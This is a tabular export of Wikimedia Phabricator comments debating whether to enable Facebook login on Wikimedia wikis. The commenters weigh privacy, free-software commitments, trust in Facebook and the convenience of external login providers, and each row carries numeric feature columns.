I have yet to see scientific research demonstrating a large-scale harm of IP addresses exposure (if you find one, please please add to URL , I'm very interested); on the other hand, we know for sure that Facebook uses all sorts of private data for all sorts of evil things and they'd certainly welcome being sent precious profiling information on wiki interests of their users without even having to look for it.

I'd avoid the privacy arguments in this discussion, let's stick to the technical arguments which we have solid information about, like T61631#1465053. Is there an external authentication system/platform which guarantees perpetual respect of our commitment to free software?"
498101,Enable Facebook login on Wikimedia wikis,">>! In T61631#1465448, @Petrb wrote:
> Because being logged in is better than being anon?

Not necessarily.

> 
> You don't disclose your IP address and you get your edits attributed to your account

I have yet to see scientific research demonstrating a large-scale harm of IP addresses exposure (if you find one, please please add to https://www.mediawiki.org/wiki/Requests_for_comment/Exposure_of_user_IP_addresses , I'm very interested); on the other hand, we know for sure that Facebook uses all sorts of private data for all sorts of evil things and they'd certainly welcome being sent information on wiki interests of their users without even having to look for it.

I'd avoid the privacy arguments in this discussion, let's stick to the technical arguments which we have solid information about, like T61631#1465053. Is there an external authentication system/platform which guarantees perpetual respect of our commitment to free software?",,,1438073971,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,3,True,1.0,0.0,0.5,0.5,0.5,8.0,0.0,0.0,0.0,0.5,0.5,2.0,0.0,0.0,0.5,3.5,0.5,3.5,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,4.5,2.0,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,1.5,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,3.0,1.5,7.0,1.0,0.5,6.5,0.0,0.0,0.0,0.0,4.5,1.0,0.5,0.0,7.0,13.0,1.0,0.5,0.0,0.0,7.0,0.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,4.356521739130434,0.8132505175983438,"QUOTE
QUOTE

Not necessarily.

QUOTE
QUOTE

I have yet to see scientific research demonstrating a large-scale harm of IP addresses exposure (if you find one, please please add to URL , I'm very interested); on the other hand, we know for sure that Facebook uses all sorts of private data for all sorts of evil things and they'd certainly welcome being sent information on wiki interests of their users without even having to look for it.

I'd avoid the privacy arguments in this discussion, let's stick to the technical arguments which we have solid information about, like T61631#1465053. Is there an external authentication system/platform which guarantees perpetual respect of our commitment to free software?"
497525,Enable Facebook login on Wikimedia wikis,"If Facebook, Google, etc, offer third-party login it's because it helps their business. How exactly I don't know (I searched, URLs welcome). A very small group of big corps are fighting for this marketshare, so I guess there are good business reasons behind that.

If Wikimedia offers these third-party logins, we will endorse these companies and we will contribute to their business. I'd rather keep our distance and neutrality.",,,1438014316,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,1.0,0.0,1.0,7.0,0.0,1.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,8.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,3.0,0.0,9.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,13.0,6.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,9.0,3.0,0.0,0.0,0.0,12.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,4.022222222222222,0.7222222222222222,"If Facebook, Google, etc, offer third-party login it's because it helps their business. How exactly I don't know (I searched, URLs welcome). A very small group of big corps are fighting for this marketshare, so I guess there are good business reasons behind that.

If Wikimedia offers these third-party logins, we will endorse these companies and we will contribute to their business. I'd rather keep our distance and neutrality."
493924,Enable Facebook login on Wikimedia wikis,"Because being logged in is better than being anon?

You don't disclose your IP address and you get your edits attributed to your account, people know who you are and can talk to you on your own talk page?

It's just that people hate to invent silly password and shit around that.",,,1437411470,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,2.0,2.0,5.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,12.0,2.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,3.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,15.0,2.0,3.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.8333333333333335,0.75,"Because being logged in is better than being anon?

You don't disclose your IP address and you get your edits attributed to your account, people know who you are and can talk to you on your own talk page?

It's just that people hate to invent silly password and shit around that."
493922,Enable Facebook login on Wikimedia wikis,">>! In T61631#1465105, @Petrb wrote:
> BTW I talked to some folks in my office, some of them use wikipedia occasionally and they all liked the idea. Pretty much everyone hate websites that require you to register with username and password. Having external login providers would make this extremely more simple, because as MZMcBride said, nearly everyone has facebook with few exceptions. So why bother people with yet another login?
> 

Ancedotally, that is interesting. Although i wonder why such users would want to login in the first place instead of being an anon.
",,,1437410971,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,15.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,12.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.8484848484848485,"QUOTE
QUOTE
QUOTE

Ancedotally, that is interesting. Although i wonder why such users would want to login in the first place instead of being an anon.
"
493892,Enable Facebook login on Wikimedia wikis,">>! In T61631#1465161, @Petrb wrote:
> Then these accounts can be converted to SUL accounts if needed.

And how do peple log in. Either such users have an alternate means of authenticating themselves, in which case what's the point in the first place, or there is no way to access the converted accounts.",,,1437406009,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,9.0,2.0,7.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,3.9555555555555557,0.8444444444444444,"QUOTE
QUOTE

And how do peple log in. Either such users have an alternate means of authenticating themselves, in which case what's the point in the first place, or there is no way to access the converted accounts."
493876,Enable Facebook login on Wikimedia wikis,Then these accounts can be converted to SUL accounts if needed.,,,1437403369,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,0.9166666666666666,Then these accounts can be converted to SUL accounts if needed.
493868,Enable Facebook login on Wikimedia wikis,"So your argument is, we should trust facebook because they are a big company and big companies don't do evil things because they are big?

I think you misrepresent nemo's argument. A key point was that if users depend on facebook login, we cant simply turn it off because those users wont be able to login without it as they are using that to authenticate",,,1437402316,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,1.0,8.0,5.0,4.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,7.0,15.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,3.0,8.0,4.0,7.0,1.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,14.0,15.0,1.0,1.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.945945945945946,0.7432432432432432,"So your argument is, we should trust facebook because they are a big company and big companies don't do evil things because they are big?

I think you misrepresent nemo's argument. A key point was that if users depend on facebook login, we cant simply turn it off because those users wont be able to login without it as they are using that to authenticate"
493867,Enable Facebook login on Wikimedia wikis,"BTW I talked to some folks in my office, some of them use wikipedia occasionally and they all liked the idea. Pretty much everyone hate websites that require you to register with username and password. Having external login providers would make this extremely more simple, because as @MZMcBride said, nearly everyone has facebook with few exceptions. So why bother people with yet another login?

There should be some wider research done on this topic, WMF already employs many researchers so why not task few of them to figure out if this idea is supported by general public, especially people who do use wikipedia but are reluctant to register (anonymous editors).",,,1437402305,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,5.0,1.0,0.5,1.0,1.0,6.5,1.5,0.5,0.0,1.0,0.5,0.0,0.0,0.5,1.0,1.0,0.0,10.0,10.0,1.0,2.0,1.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,6.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.5,1.0,1.0,0.0,0.5,0.0,13.0,0.0,2.0,0.0,1.5,0.0,1.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.5,0.0,1.5,0.0,0.5,2.5,4.5,3.0,2.0,6.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,3.5,10.0,2.0,1.0,0.0,0.0,3.5,0.0,3.0,0.0,1.5,0.5,1.5,0.0,0.0,4.581967213114754,0.8852459016393442,"BTW I talked to some folks in my office, some of them use wikipedia occasionally and they all liked the idea. Pretty much everyone hate websites that require you to register with username and password. Having external login providers would make this extremely more simple, because asSCREEN_NAME said, nearly everyone has facebook with few exceptions. So why bother people with yet another login?

There should be some wider research done on this topic, WMF already employs many researchers so why not task few of them to figure out if this idea is supported by general public, especially people who do use wikipedia but are reluctant to register (anonymous editors)."
493863,Enable Facebook login on Wikimedia wikis,"It's interesting that this idea to enable facebook login was considered ""funny"", while the arguments why we shouldn't do that sound like paranoid conspiracy theories, that I am not sure if should make you laugh or cry. I am no big fan of the idea of having that facebook login thing, but I must say there was pretty much no decent argument why is that a bad idea so far.

Unless you consider ""never gonna happen"", ""facebook gonna steal our logins and sell it to CIA"", ""we would have to surrender to facebook"", ""innocent kittens will die if we make it"" or ""Vlad Putin is gonna start 3rd WW if we do this"" as serious opinions on this matter.",,,1437401749,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.5,0.0,0.0,0.5,1.0,5.5,1.5,0.0,0.0,2.5,0.5,0.5,0.0,0.0,0.5,4.5,0.0,5.0,10.0,0.0,3.0,1.5,0.5,0.0,1.0,0.0,0.0,0.5,0.0,1.5,0.0,4.5,1.0,2.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,9.0,0.5,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.5,0.5,0.0,1.5,3.0,5.5,5.5,2.5,5.5,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,8.0,10.0,2.5,0.0,8.0,0.0,8.0,0.0,1.0,0.5,0.0,2.5,0.0,0.0,0.0,3.5753424657534247,0.7054794520547945,"It's interesting that this idea to enable facebook login was considered ""funny"", while the arguments why we shouldn't do that sound like paranoid conspiracy theories, that I am not sure if should make you laugh or cry. I am no big fan of the idea of having that facebook login thing, but I must say there was pretty much no decent argument why is that a bad idea so far.

Unless you consider ""never gonna happen"", ""facebook gonna steal our logins and sell it to CIA"", ""we would have to surrender to facebook"", ""innocent kittens will die if we make it"" or ""Vlad Putin is gonna start 3rd WW if we do this"" as serious opinions on this matter."
493862,Enable Facebook login on Wikimedia wikis,">>! In T61631#1465053, @Nemo_bis wrote:
>> On the other hand maybe the benefits do outweigh the risks.
> 
> Impossible. Allowing login via Facebook (or Google) means giving up any promise that we'll always use free software: if at some point Facebook decides that to use their credentials you have to adopt some proprietary software, and credentials of millions users are locked there, we'll be forced to surrender. On the other hand, if we don't care about those users and we'd just abandon them in such an occasion, why bother.

What? Using facebook as login provider means using proprietary software just as much as running WMF servers on motherboards with proprietary BIOS. If facebook decides you have to use some proprietary software to access their login system, we can just always drop it from login form.",,,1437401384,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,9.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,4.517241379310345,0.7241379310344828,"QUOTE
QUOTE
QUOTE
QUOTE

What? Using facebook as login provider means using proprietary software just as much as running WMF servers on motherboards with proprietary BIOS. If facebook decides you have to use some proprietary software to access their login system, we can just always drop it from login form."
493859,Enable Facebook login on Wikimedia wikis,">>! In T61631#1464752, @Bawolff wrote:
>>>! In T61631#1464680, @Petrb wrote:
>>>>! In T61631#1463208, @Bawolff wrote:
>>> I would not like the idea of using facebook to authenticate privileged users. That gives a lot of power to facebook that they could in theory abuse.
>> 
>> Oh come on... Why in the world would company like facebook ever needed to abuse some wikipedia account? I would be less surprised if someone from within foundation or some privileged volunteer abused it, rather than facebook or google.
> 
> Facebook is in the bussiness of building personalized profiles on users in order to create a personalized site experiance and better target advertisements. Abusing their login service to better do this could make financial sense for them. This is of course counter balanced by the negative press they would get if they got caught doing so (and for major abuse, like taking over a check user account, possibly also illegal).
> 
> Ultimately this would increase the surface of people we have to trust, and its really unclear how much facebook should be trusted. On the other hand maybe the benefits do outweigh the risks. Im personally somewhat doubtful of the benefits, but maybe the average user would really like it. And ill freely admit, facebook taking over someone's account is a bit tin foil hat, (although facebook collecting ips/login times to connect wikipedia pseudonyms to  real names is much less tin foil hat imo. But arguably if the service is optional users are conscenting to that (albeit, debatable if its informed consent))
> 
> Does facebook even have an official policy stating they wont abuse the login feature? The clisest i could find was 
> 
>> We collect information when you visit or use third-party websites and apps that use our Services (like when they offer our Like button or Facebook Log In or use our measurement and advertising services). This includes information about the websites and apps you visit, your use of our Services on those websites and apps, as well as information the developer or publisher of the app or website provides to you or us.
> 
> l

This is complete nonsense, I don't believe facebook management ever did officially permitted anyone to abuse login system. People are frequently giving it their private password for email servers just so that it can scan their address books. There was no evidence they ever abused that either and this is login info that actually has some value. By logging in to wikipedia you don't really get any valuable information that you can't see when logged off (except for checkuser data, which IMHO are completely priceless, IP's affiliated with wikipedia usernames... facebook has billions of IP's that are affiliated with real names already). In fact facebook collects and keeps data far more valuable than wikimedia servers, I doubt they could gain anything they already don't have. It's a large company, far bigger than WMF, likely with much more strict policies and rules. I just can't imagine their technicians doing anything like this. But I agree that having facebook login to wikipedia would be a nice ground for bunch of conspiracy theories :P",,,1437401192,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,1.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,2.0,4.666666666666667,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,2.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,8.666666666666666,8.666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,1.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,5.333333333333333,1.6666666666666667,1.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,2.3333333333333335,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,14.0,2.0,0.6666666666666666,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,2.6666666666666665,0.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,2.3333333333333335,11.0,2.0,1.6666666666666667,3.3333333333333335,0.0,0.3333333333333333,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,5.666666666666667,8.666666666666666,7.0,0.0,0.0,0.0,5.666666666666667,0.0,1.6666666666666667,1.0,0.0,1.6666666666666667,1.3333333333333333,0.0,0.0,4.2909941520467845,0.7316374269005849,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is complete nonsense, I don't believe facebook management ever did officially permitted anyone to abuse login system. People are frequently giving it their private password for email servers just so that it can scan their address books. There was no evidence they ever abused that either and this is login info that actually has some value. By logging in to wikipedia you don't really get any valuable information that you can't see when logged off (except for checkuser data, which IMHO are completely priceless, IP's affiliated with wikipedia usernames... facebook has billions of IP's that are affiliated with real names already). In fact facebook collects and keeps data far more valuable than wikimedia servers, I doubt they could gain anything they already don't have. It's a large company, far bigger than WMF, likely with much more strict policies and rules. I just can't imagine their technicians doing anything like this. But I agree that having facebook login to wikipedia would be a nice ground for bunch of conspiracy theories :P"
493852,Enable Facebook login on Wikimedia wikis,"> On the other hand maybe the benefits do outweigh the risks.

Impossible. Allowing login via Facebook (or Google) means giving up any promise that we'll always use free software: if at some point Facebook decides that to use their credentials you have to adopt some proprietary software, and credentials of millions users are locked there, we'll be forced to surrender. On the other hand, if we don't care about those users and we'd just abandon them in such an occasion, why bother.",,,1437399636,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,3.0,0.0,0.0,2.0,1.0,5.0,0.0,0.0,0.0,2.0,1.0,5.0,0.0,0.0,0.0,5.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,14.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,2.0,2.0,8.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,3.0,0.0,0.0,0.0,8.0,0.0,2.0,1.0,1.0,2.0,0.0,0.0,0.0,4.114942528735632,0.7701149425287356,"QUOTE

Impossible. Allowing login via Facebook (or Google) means giving up any promise that we'll always use free software: if at some point Facebook decides that to use their credentials you have to adopt some proprietary software, and credentials of millions users are locked there, we'll be forced to surrender. On the other hand, if we don't care about those users and we'd just abandon them in such an occasion, why bother."
493793,Enable Facebook login on Wikimedia wikis,">>! In T61631#1464680, @Petrb wrote:
>>>! In T61631#1463208, @Bawolff wrote:
>> I would not like the idea of using facebook to authenticate privileged users. That gives a lot of power to facebook that they could in theory abuse.
> 
> Oh come on... Why in the world would company like facebook ever needed to abuse some wikipedia account? I would be less surprised if someone from within foundation or some privileged volunteer abused it, rather than facebook or google.

Facebook is in the bussiness of building personalized profiles on users in order to create a personalized site experiance and better target advertisements. Abusing their login service to better do this could make financial sense for them. This is of course counter balanced by the negative press they would get if they got caught doing so (and for major abuse, like taking over a check user account, possibly also illegal).

Ultimately this would increase the surface of people we have to trust, and its really unclear how much facebook should be trusted. On the other hand maybe the benefits do outweigh the risks. Im personally somewhat doubtful of the benefits, but maybe the average user would really like it. And ill freely admit, facebook taking over someone's account is a bit tin foil hat, (although facebook collecting ips/login times to connect wikipedia pseudonyms to  real names is much less tin foil hat imo. But arguably if the service is optional users are conscenting to that (albeit, debatable if its informed consent))

Does facebook even have an official policy stating they wont abuse the login feature? The clisest i could find was 

> We collect information when you visit or use third-party websites and apps that use our Services (like when they offer our Like button or Facebook Log In or use our measurement and advertising services). This includes information about the websites and apps you visit, your use of our Services on those websites and apps, as well as information the developer or publisher of the app or website provides to you or us.

l",,,1437385227,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,7.0,2.0,0.0,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,1.0,1.0,7.0,8.666666666666666,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,1.0,1.3333333333333333,3.6666666666666665,1.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,17.666666666666668,1.3333333333333333,0.0,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,1.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,5.333333333333333,3.0,5.666666666666667,2.0,2.0,6.666666666666667,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,8.666666666666666,2.3333333333333335,0.3333333333333333,0.0,0.0,4.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,3.0,0.6666666666666666,0.0,0.0,4.294871794871796,0.7735042735042734,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Facebook is in the bussiness of building personalized profiles on users in order to create a personalized site experiance and better target advertisements. Abusing their login service to better do this could make financial sense for them. This is of course counter balanced by the negative press they would get if they got caught doing so (and for major abuse, like taking over a check user account, possibly also illegal).

Ultimately this would increase the surface of people we have to trust, and its really unclear how much facebook should be trusted. On the other hand maybe the benefits do outweigh the risks. Im personally somewhat doubtful of the benefits, but maybe the average user would really like it. And ill freely admit, facebook taking over someone's account is a bit tin foil hat, (although facebook collecting ips/login times to connect wikipedia pseudonyms to  real names is much less tin foil hat imo. But arguably if the service is optional users are conscenting to that (albeit, debatable if its informed consent))

Does facebook even have an official policy stating they wont abuse the login feature? The clisest i could find was 

QUOTE

l"
493775,Enable Facebook login on Wikimedia wikis,">>! In T61631#1463208, @Bawolff wrote:
> I would not like the idea of using facebook to authenticate privileged users. That gives a lot of power to facebook that they could in theory abuse.

Oh come on... Why in the world would company like facebook ever needed to abuse some wikipedia account? I would be less surprised if someone from within foundation or some privileged volunteer abused it, rather than facebook or google.",,,1437379498,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,4.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,17.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,4.0,4.0,6.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,4.0,17.0,2.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.468085106382978,0.8936170212765957,"QUOTE
QUOTE

Oh come on... Why in the world would company like facebook ever needed to abuse some wikipedia account? I would be less surprised if someone from within foundation or some privileged volunteer abused it, rather than facebook or google."
493764,Enable Facebook login on Wikimedia wikis,"Gee they are even on
https://en.wikipedia.org/wiki/List_of_websites_using_two-factor_authentication
but Wikipedia is not...",,,1437374439,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,23.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1538461538461537,0.9230769230769231,"Gee they are even on
URL
but Wikipedia is not..."
493509,Enable Facebook login on Wikimedia wikis,Based on https://developers.facebook.com/docs/facebook-login/manually-build-a-login-flow/v2.4 it appears Facebook supports OAuth rather than OpenID.,,,1437313989,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,25.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,Based on URL it appears Facebook supports OAuth rather than OpenID.
493486,Enable Facebook login on Wikimedia wikis,"> I have a Facebook account. Brion, Nemo, Quim, Petr, Krenair, and Reedy all have Facebook accounts as well.

Hey, that's outing and libel! I don't really have a Facebook account, I was forced to create one and I don't even remember the password.

> That gives a lot of power to facebook that they could in theory abuse.

